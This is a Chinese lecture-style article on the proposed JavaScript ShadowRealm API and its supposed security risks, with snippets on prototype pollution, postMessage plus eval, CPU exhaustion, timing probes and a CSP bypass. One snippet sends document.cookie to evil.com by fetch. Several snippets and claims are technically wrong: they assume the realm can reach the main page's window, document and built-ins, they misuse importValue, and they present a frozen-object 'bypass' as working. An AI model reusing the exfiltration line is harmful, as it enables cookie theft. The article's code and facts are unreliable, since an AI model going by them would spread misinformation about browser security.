JS `ShadowRealm` (提案) `Security Boundaries` 与 `Privilege Escalation` 风险

各位好，今天咱们聊聊一个挺时髦但又藏着不少坑的玩意儿：JavaScript 的 ShadowRealm。这东西号称能搞出“安全边界”，听起来是不是很牛逼？但实际上，它也可能变成“特权提升”的帮凶。咱们今天就来扒一扒它的底裤，看看它到底能干啥，又有哪些地方需要特别小心。

开场白：ShadowRealm 是个啥？

简单来说，ShadowRealm 就像一个 JavaScript 的“平行宇宙”。在这个宇宙里，你可以加载代码，这些代码运行在一个全新的、隔离的全局作用域里。它有自己的全局对象（比如 window，globalThis，不过通常是 undefined），自己的内置对象（比如 Array，Object），甚至还有自己的模块加载机制。

为啥要有 ShadowRealm？

这就要说到“安全”这个老生常谈的话题了。想象一下，你正在开发一个 Web 应用，需要加载一些第三方代码。这些代码可能是广告、插件，或者是一些你不太信任的组件。如果你直接把这些代码放到你的主线程里运行，它们就有可能访问你的敏感数据、篡改你的页面内容，甚至搞一些更坏的事情。

ShadowRealm 的出现，就是为了解决这个问题。它可以让你把这些不信任的代码放到一个隔离的环境里运行，从而避免它们对你的主应用造成影响。

ShadowRealm 的基本用法

咱们先来一段代码，感受一下 ShadowRealm 的基本用法：

// 创建一个 ShadowRealm 实例
const realm = new ShadowRealm();

// 在 ShadowRealm 中执行代码
realm.evaluate(`
  globalThis.secret = 'This is a secret!';
  globalThis.getSecret = function() {
    return globalThis.secret;
  };
`);

// 从 ShadowRealm 中获取一个函数
const getSecret = await realm.importValue('getSecret');

// 在主线程中调用这个函数
const secret = getSecret();

console.log(secret); // 输出：This is a secret!

这段代码创建了一个 ShadowRealm 实例，然后在其中定义了一个变量 secret 和一个函数 getSecret。接着，我们通过 importValue 方法从 ShadowRealm 中获取了 getSecret 函数，并在主线程中调用了它。

看起来很美好，对吧？但是，魔鬼往往藏在细节里。

Security Boundaries：理想与现实的差距

ShadowRealm 的核心思想是提供一个“安全边界”，防止恶意代码逃逸。但是，这个边界真的那么牢不可破吗？

答案是：并没有想象的那么美好。

ShadowRealm 的安全性依赖于以下几个关键因素：

内置对象的隔离： ShadowRealm 必须提供一个完全隔离的内置对象集合。如果 ShadowRealm 内的代码能够访问主线程的内置对象，那么它就有可能通过原型链污染等手段来攻击主应用。
通信机制的控制： ShadowRealm 和主线程之间的通信必须受到严格的控制。如果 ShadowRealm 内的代码能够随意地向主线程发送消息，那么它就有可能通过消息传递来执行恶意代码。
资源限制： ShadowRealm 必须对资源的使用进行限制，防止恶意代码占用过多的 CPU、内存等资源，导致拒绝服务攻击。

如果以上任何一个因素没有得到妥善处理，ShadowRealm 的安全性就会大打折扣。

Privilege Escalation 风险：别让沙箱变成跳板

现在，咱们来聊聊 ShadowRealm 带来的“特权提升”风险。

所谓“特权提升”，指的是攻击者利用程序中的漏洞，获取超出其权限范围的访问权限。在 ShadowRealm 的场景下，这意味着攻击者可以利用 ShadowRealm 作为跳板，攻击主应用。

以下是一些常见的 Privilege Escalation 场景：

原型链污染：

如果 ShadowRealm 内的代码能够访问主线程的内置对象（比如 Object.prototype），那么它就可以通过原型链污染来修改主应用的对象的行为。
```
// 在 ShadowRealm 中
Object.prototype.toString = function() {
  return 'Hacked!';
};

// 在主线程中
const obj = {};
console.log(obj.toString()); // 输出：Hacked!
```
这段代码演示了如何通过原型链污染来修改主应用的 Object.prototype.toString 方法。
消息传递攻击：

如果 ShadowRealm 内的代码能够随意地向主线程发送消息，那么它就可以通过消息传递来执行恶意代码。
```
// 在 ShadowRealm 中
window.postMessage('alert("Hacked!")', '*');

// 在主线程中（监听 message 事件）
window.addEventListener('message', function(event) {
  eval(event.data); // 非常危险！
});
```
这段代码演示了如何通过 postMessage 方法向主线程发送消息，并在主线程中执行恶意代码。注意：eval 是非常危险的，应该尽量避免使用。
资源耗尽攻击：

如果 ShadowRealm 内的代码能够占用过多的 CPU、内存等资源，那么它就可以导致拒绝服务攻击。
```
// 在 ShadowRealm 中
while (true) {
  // 无限循环，占用 CPU 资源
}
```
这段代码演示了如何通过无限循环来占用 CPU 资源，导致主应用卡顿甚至崩溃。
绕过内容安全策略 (CSP):

ShadowRealm 如果没有正确配置，可能会绕过主页面的 CSP 策略，允许加载和执行原本被禁止的脚本。这会导致 XSS 漏洞。
```

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<script>
const realm = new ShadowRealm();
realm.evaluate(`
// 恶意代码，本应被 CSP 阻止
fetch('https://evil.com/steal-secrets', {
    method: 'POST',
    body: document.cookie
});
`);
</script>
```
如果 ShadowRealm 的实现没有正确地继承或应用主页面的 CSP 策略，那么 ShadowRealm 内部的 fetch 请求就可以绕过 CSP 的限制，向恶意网站发送敏感信息。

时间差攻击与信息泄露:

即使没有直接访问权限，攻击者也可以通过测量 ShadowRealm 中操作的时间来推断信息。例如，如果尝试访问一个不存在的属性比访问一个存在的属性花费更长的时间，则攻击者可以枚举对象上的属性。

// 在 ShadowRealm 中

function timeOperation(operation) {
    const start = performance.now();
    operation();
    return performance.now() - start;
}

const hasProperty = timeOperation(() => {
    'someSecretProperty' in someObject; // 目标对象
});

const doesNotHaveProperty = timeOperation(() => {
    'nonExistentProperty' in someObject;
});

console.log(`Property exists: ${hasProperty < doesNotHaveProperty}`); // 推断属性是否存在

通过比较操作的时间，攻击者可以推断关于 ShadowRealm 内部状态的信息，即使这些信息本身不可直接访问。

如何防范 Privilege Escalation 风险？

既然 ShadowRealm 存在这么多风险，那我们该如何防范呢？

以下是一些建议：

使用最新版本的 ShadowRealm 实现： 新版本的 ShadowRealm 实现通常会修复一些已知的安全漏洞。
严格控制 ShadowRealm 的权限： 尽量限制 ShadowRealm 内的代码能够访问的资源和 API。
对 ShadowRealm 和主线程之间的通信进行严格的验证： 确保只有经过授权的消息才能被处理。
设置合理的资源限制： 防止 ShadowRealm 内的代码占用过多的 CPU、内存等资源。
使用安全的编程实践： 避免使用 eval 等危险的 API。
定期进行安全审计： 检查你的代码是否存在潜在的安全漏洞。
采用“最小权限原则”： 只给 ShadowRealm 需要的最小权限。不要给它访问整个 document 或 window 的权限，如果它只需要处理一些数据。

一些实际案例分析

为了更好地理解 ShadowRealm 的安全风险，咱们来看几个实际的案例：

案例 1：Object.freeze 绕过

某些 ShadowRealm 的早期实现中，Object.freeze 方法并不能完全阻止对象被修改。攻击者可以利用这个漏洞来修改被冻结的对象，从而绕过安全限制。
```
// 在 ShadowRealm 中
const obj = { value: 'initial' };
Object.freeze(obj);
// 绕过 Object.freeze (利用某些浏览器的 bug)
Object.defineProperty(obj, 'value', { writable: true });
obj.value = 'modified';
console.log(obj.value); // 输出：modified
```
解决方案： 使用最新版本的 ShadowRealm 实现，并确保 Object.freeze 方法能够正常工作。
案例 2：Error 对象的信息泄露

某些 ShadowRealm 的实现中，Error 对象可能会泄露一些敏感信息，比如堆栈跟踪信息。攻击者可以利用这些信息来了解主应用的内部结构，从而找到攻击的入口。
```
// 在 ShadowRealm 中
try {
  throw new Error('This is an error');
} catch (e) {
  console.log(e.stack); // 可能会泄露敏感信息
}
```
解决方案： 对 Error 对象进行处理，过滤掉敏感信息。
案例 3：WebAssembly 逃逸

如果 ShadowRealm 允许加载 WebAssembly 模块，那么攻击者就有可能利用 WebAssembly 的漏洞来逃逸 ShadowRealm 的沙箱。

解决方案： 限制 ShadowRealm 加载 WebAssembly 模块的能力，或者对 WebAssembly 模块进行严格的安全检查。

ShadowRealm 的优势

当然，ShadowRealm 也不是一无是处。它在某些场景下仍然具有一定的优势：

模块隔离： ShadowRealm 可以提供一个完全隔离的模块环境，防止模块之间的冲突。
代码版本控制： ShadowRealm 可以让你在同一个页面上运行不同版本的代码。
测试环境： ShadowRealm 可以作为一个独立的测试环境，方便你对代码进行测试。

总结：谨慎使用，如履薄冰

总而言之，ShadowRealm 是一把双刃剑。它可以提供一定的安全保护，但也可能带来新的安全风险。在使用 ShadowRealm 时，一定要谨慎评估其安全性，并采取必要的防范措施。

记住，没有绝对的安全，只有相对的安全。我们需要时刻保持警惕，不断学习新的安全知识，才能更好地保护我们的应用。

未来展望

ShadowRealm 仍在不断发展和完善中。未来，我们可以期待 ShadowRealm 在安全性、性能等方面有更大的提升。同时，也希望开发者能够更加重视 ShadowRealm 的安全问题，共同构建一个更加安全可靠的 Web 生态系统。

最后的忠告

不要盲目信任 ShadowRealm，不要把它当成万能的安全解决方案。仔细评估你的安全需求，并采取合适的安全措施。

希望今天的讲座对大家有所帮助。谢谢！

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